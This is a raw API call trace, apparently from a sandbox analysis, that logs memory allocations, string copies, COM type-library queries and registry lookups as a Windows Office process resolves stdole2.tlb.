	[0225.169] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666270
	[0225.169] IMalloc:Realloc (This=0x7feffc15380, pv=0xb790740, cb=0x0) returned 0x0
	[0225.170] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb665b20
	[0225.170] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2bb30, ppTypeAttr=0x27c580, pDummy=0xb8d6230 | out: ppTypeAttr=0x27c580, pDummy=0xb8d6230*=0x7) returned 0x0
	[0225.170] StringFromGUID2 (in: rguid=0xba55c38*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27c5c0, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39
	[0225.170] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2bb30) returned 0x0
	[0225.170] IUnknown:Release (This=0xbb2bb30) returned 0x1
	[0225.170] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbef99f0
	[0225.170] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57a90, cb=0x48) returned 0x754de90
	[0225.170] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb666430
	[0225.170] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57a00, cb=0x8) returned 0xb666430
	[0225.170] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcfcfb0, cb=0x0) returned 0x0
	[0225.170] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe740 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.170] _mbscpy_s (in: _Dst=0x7fee6142ab5, _DstSizeInBytes=0x3eb, _Src=0xb666320 | out: _Dst=0x7fee6142ab5) returned 0x0
	[0225.171] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2bb30, ppTypeAttr=0x27c440, pDummy=0xb8d6230 | out: ppTypeAttr=0x27c440, pDummy=0xb8d6230*=0x7) returned 0x0
	[0225.171] StringFromGUID2 (in: rguid=0xba55c38*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27c480, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39
	[0225.171] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2bb30) returned 0x0
	[0225.171] IUnknown:Release (This=0xbb2bb30) returned 0x1
	[0225.171] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbef99f0
	[0225.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40
	[0225.171] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb790740
	[0225.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb790740, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020820-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142aa0, _DstSizeInBytes=0x400, _Src=0x7fee60fe648 | out: _Dst=0x7fee6142aa0) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe658 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142ab5, _DstSizeInBytes=0x3eb, _Src=0xb790740 | out: _Dst=0x7fee6142ab5) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe7f8 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142abf, _DstSizeInBytes=0x3e1, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142abf) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe670 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142ab9) returned 0x0
	[0225.171] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe748 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142abd, _DstSizeInBytes=0x3e3, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142abd) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe6a0 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142ab7) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe770 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142abf, _DstSizeInBytes=0x3e1, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142abf) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe680 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.172] _mbscpy_s (in: _Dst=0x7fee6142abc, _DstSizeInBytes=0x3e4, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142abc) returned 0x0
	[0225.176] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb666320
	[0225.176] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57c40, cb=0x8) returned 0xb666320
	[0225.177] IMalloc:Realloc (This=0x7feffc15380, pv=0xb7907d0, cb=0x0) returned 0x0
	[0225.177] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666420
	[0225.177] IMalloc:Realloc (This=0x7feffc15380, pv=0xb7928a0, cb=0x0) returned 0x0
	[0225.177] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666230
	[0225.177] IMalloc:Realloc (This=0x7feffc15380, pv=0xb9ed080, cb=0x9a0) returned 0xbbacf60
	[0225.177] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4d8 | out: ppvObject=0x27c4d8*=0x0) returned 0x80004002
	[0225.177] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27c4e0, pIndex=0x27c4f0 | out: ppTLib=0x27c4e0*=0xb9fd070, pIndex=0x27c4f0*=0x17) returned 0x0
	[0225.178] IUnknown:QueryInterface (in: This=0xb9fd070, riid=0x7fee611b078*(Data1=0x20411, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c4e8 | out: ppvObject=0x27c4e8*=0xb9fd070) returned 0x0
	[0225.178] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27c560, pDummy=0x0 | out: ppTLibAttr=0x27c560, pDummy=0x0) returned 0x0
	[0225.178] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0225.178] wcscpy_s (in: _Destination=0x27c598, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0
	[0225.178] _ultow_s (in: _Value=0x0, _Buffer=0x27c59e, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.178] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4f8 | out: ppvObject=0x27c4f8*=0x0) returned 0x80004002
	[0225.178] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4d8 | out: ppvObject=0x27c4d8*=0x0) returned 0x80004002
	[0225.178] _ultow_s (in: _Value=0x17, _Buffer=0x27c5a4, _BufferCount=0x7, _Radix=16 | out: _Buffer="17") returned 0x0
	[0225.178] wcscpy_s (in: _Destination=0xb78f068, _SizeInWords=0x9, _Source="*\\R0*#17" | out: _Destination="*\\R0*#17") returned 0x0
	[0225.178] IUnknown:Release (This=0xb9fd070) returned 0xc
	[0225.178] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb666330
	[0225.178] IMalloc:Realloc (This=0x7feffc15380, pv=0x76270f0, cb=0x1e0) returned 0x4eef540
	[0225.179] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd1dee0, cb=0x2b8) returned 0xbd1dee0
	[0225.179] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe740 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.179] _mbscpy_s (in: _Dst=0x7fee6142ab5, _DstSizeInBytes=0x3eb, _Src=0xb666330 | out: _Dst=0x7fee6142ab5) returned 0x0
	[0225.179] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x7383190 | out: _Dst=0xc219ee0) returned 0x0
	[0225.179] _mbscpy_s (in: _Dst=0x4eb50d0, _DstSizeInBytes=0x3ff, _Src=0x57b2e1e | out: _Dst=0x4eb50d0) returned 0x0
	[0225.179] _mbscmp (_Str1=0x4eb50d0, _Str2=0xc219ee0) returned 0
	[0225.179] IMalloc:Free (This=0x7feffc15380, pv=0x4eb50d0) 
	[0225.179] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.179] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2e1e | out: _Dst=0xb8e0230) returned 0x0
	[0225.179] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2e4a | out: _Dst=0xb8e0230) returned 0x0
	[0225.179] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2e72 | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x73831bc | out: _Dst=0xc21a2f0) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x57b2ec6 | out: _Dst=0xc219ee0) returned 0x0
	[0225.180] _mbscmp (_Str1=0xc219ee0, _Str2=0xc21a2f0) returned 0
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ec6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ef2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x73831e8 | out: _Dst=0xc219ee0) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x57b2f1a | out: _Dst=0xc21a2f0) returned 0x0
	[0225.180] _mbscmp (_Str1=0xc21a2f0, _Str2=0xc219ee0) returned 0
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2f1a | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ef2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x7383214 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x57b2f46 | out: _Dst=0xc219ee0) returned 0x0
	[0225.180] _mbscmp (_Str1=0xc219ee0, _Str2=0xc21a2f0) returned 0
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.180] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2f46 | out: _Dst=0xb8e0230) returned 0x0
	[0225.180] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ef2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x7383240 | out: _Dst=0xc219ee0) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x57b2f72 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.181] _mbscmp (_Str1=0xc21a2f0, _Str2=0xc219ee0) returned 0
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.181] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2f72 | out: _Dst=0xb8e0230) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ef2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x7383270 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x57b2fa2 | out: _Dst=0xc219ee0) returned 0x0
	[0225.181] _mbscmp (_Str1=0xc219ee0, _Str2=0xc21a2f0) returned 0
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.181] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2fa2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2fd2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x73832a0 | out: _Dst=0xc219ee0) returned 0x0
	[0225.181] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x6850046 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.181] _mbscmp (_Str1=0xc21a2f0, _Str2=0xc219ee0) returned 0
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.181] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.181] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850046 | out: _Dst=0xb8e0230) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x73832d0 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x6850076 | out: _Dst=0xc219ee0) returned 0x0
	[0225.182] _mbscmp (_Str1=0xc219ee0, _Str2=0xc21a2f0) returned 0
	[0225.182] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.182] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.182] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850076 | out: _Dst=0xb8e0230) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x7383300 | out: _Dst=0xc219ee0) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x68500a6 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.182] _mbscmp (_Str1=0xc21a2f0, _Str2=0xc219ee0) returned 0
	[0225.182] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.182] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.182] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68500a6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68500da | out: _Dst=0xb8e0230) returned 0x0
	[0225.182] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2ef2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x7383334 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x6850102 | out: _Dst=0xc219ee0) returned 0x0
	[0225.183] _mbscmp (_Str1=0xc219ee0, _Str2=0xc21a2f0) returned 0
	[0225.183] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.183] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.183] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850102 | out: _Dst=0xb8e0230) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68500da | out: _Dst=0xb8e0230) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xc219ee0, _DstSizeInBytes=0x3ff, _Src=0x7383368 | out: _Dst=0xc219ee0) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xc21a2f0, _DstSizeInBytes=0x3ff, _Src=0x6850136 | out: _Dst=0xc21a2f0) returned 0x0
	[0225.183] _mbscmp (_Str1=0xc21a2f0, _Str2=0xc219ee0) returned 0
	[0225.183] IMalloc:Free (This=0x7feffc15380, pv=0xc21a2f0) 
	[0225.183] IMalloc:Free (This=0x7feffc15380, pv=0xc219ee0) 
	[0225.183] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850136 | out: _Dst=0xb8e0230) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685015e | out: _Dst=0xb8e0230) returned 0x0
	[0225.183] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685018a | out: _Dst=0xb8e0230) returned 0x0
	[0225.184] strnlen (_Str="2", _MaxCount=0x18) returned 0x1
	[0225.184] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68501b6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] strnlen (_Str="40", _MaxCount=0x18) returned 0x2
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68501e6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68501b6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68501e6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] strnlen (_Str="1", _MaxCount=0x18) returned 0x1
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685023e | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] strnlen (_Str="4096", _MaxCount=0x18) returned 0x4
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850266 | out: _Dst=0xb8e0230) returned 0x0
	[0225.185] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685028e | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ea | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850346 | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] strnlen (_Str="1", _MaxCount=0x18) returned 0x1
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ba | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2e1e | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850216 | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685028e | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2f1a | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ba | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850136 | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ea | out: _Dst=0xb8e0230) returned 0x0
	[0225.186] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685028e | out: _Dst=0xb8e0230) returned 0x0
	[0225.187] strnlen (_Str="0", _MaxCount=0x18) returned 0x1
	[0225.187] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2f72 | out: _Dst=0xb8e0230) returned 0x0
	[0225.187] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ba | out: _Dst=0xb8e0230) returned 0x0
	[0225.187] strnlen (_Str="0", _MaxCount=0x18) returned 0x1
	[0225.187] _i64toa_s (in: _Value=0, _Buffer=0x27c570, _BufferCount=0x18, _Radix=10 | out: _Buffer="0") returned 0x0
	[0225.187] strnlen (_Str="0", _MaxCount=0x18) returned 0x1
	[0225.187] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2fa2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.187] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850076 | out: _Dst=0xb8e0230) returned 0x0
	[0225.188] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68500a6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.188] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x685023e | out: _Dst=0xb8e0230) returned 0x0
	[0225.188] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x68502ba | out: _Dst=0xb8e0230) returned 0x0
	[0225.188] strnlen (_Str="0", _MaxCount=0x18) returned 0x1
	[0225.188] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x6850046 | out: _Dst=0xb8e0230) returned 0x0
	[0225.198] IMalloc:Realloc (This=0x7feffc15380, pv=0x74ef710, cb=0x250) returned 0x70661a0
	[0225.199] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57bb0, cb=0x60) returned 0x711df90
	[0225.203] SysStringByteLen (bstr="") returned 0x0
	[0225.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0
	[0225.203] SysStringByteLen (bstr="") returned 0x0
	[0225.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=1, lpWideCharStr=0xbd71868, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0225.204] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x27c6e0 | out: phkResult=0x27c6e0*=0x512) returned 0x0
	[0225.204] RegOpenKeyW (in: hKey=0x512, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x27c6d8 | out: phkResult=0x27c6d8*=0x50a) returned 0x0
	[0225.204] RegEnumKeyW (in: hKey=0x50a, dwIndex=0x0, lpName=0x27c708, cchName=0xa | out: lpName="1.0") returned 0x0
	[0225.204] RegEnumKeyW (in: hKey=0x50a, dwIndex=0x1, lpName=0x27c708, cchName=0xa | out: lpName="2.0") returned 0x0
	[0225.205] wcscpy_s (in: _Destination=0x27c6f0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0
	[0225.205] RegOpenKeyW (in: hKey=0x50a, lpSubKey="2.0", phkResult=0x27c798 | out: phkResult=0x27c798*=0x356) returned 0x0
	[0225.205] _ultoa_s (in: _Val=0x0, _DstBuf=0x27c710, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0
	[0225.205] RegOpenKeyA (in: hKey=0x356, lpSubKey="0", phkResult=0x27c700 | out: phkResult=0x27c700*=0xbae) returned 0x0
	[0225.205] RegOpenKeyW (in: hKey=0xbae, lpSubKey="win64", phkResult=0x27c708 | out: phkResult=0x27c708*=0x35a) returned 0x0
	[0225.206] RegCloseKey (hKey=0x35a) returned 0x0
	[0225.206] RegCloseKey (hKey=0xbae) returned 0x0
	[0225.206] _ultow_s (in: _Value=0x0, _Buffer=0x27c7a0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.206] RegOpenKeyW (in: hKey=0x356, lpSubKey="0", phkResult=0x27c778 | out: phkResult=0x27c778*=0xbae) returned 0x0
	[0225.206] RegQueryValueW (in: hKey=0xbae, lpSubKey="win64", lpData=0x27c7c0, lpcbData=0x27c774 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x27c774) returned 0x0
	[0225.207] wcscpy_s (in: _Destination=0x27ca40, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0
	[0225.207] RegCloseKey (hKey=0xbae) returned 0x0
	[0225.207] RegCloseKey (hKey=0x356) returned 0x0
	[0225.207] RegCloseKey (hKey=0x50a) returned 0x0
	[0225.207] RegCloseKey (hKey=0x512) returned 0x0
	[0225.208] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x27ce00*=0x0 | out: pptlib=0x27ce00*=0xb9fd610) returned 0x0
	[0225.208] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd610, index=-1, refPtrFlags=0x27ce10, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0225.208] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x27cd00 | out: pclsid=0x27cd00*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0225.209] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x27c6e0 | out: phkResult=0x27c6e0*=0x512) returned 0x0
	[0225.209] RegOpenKeyW (in: hKey=0x512, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x27c6d8 | out: phkResult=0x27c6d8*=0x356) returned 0x0
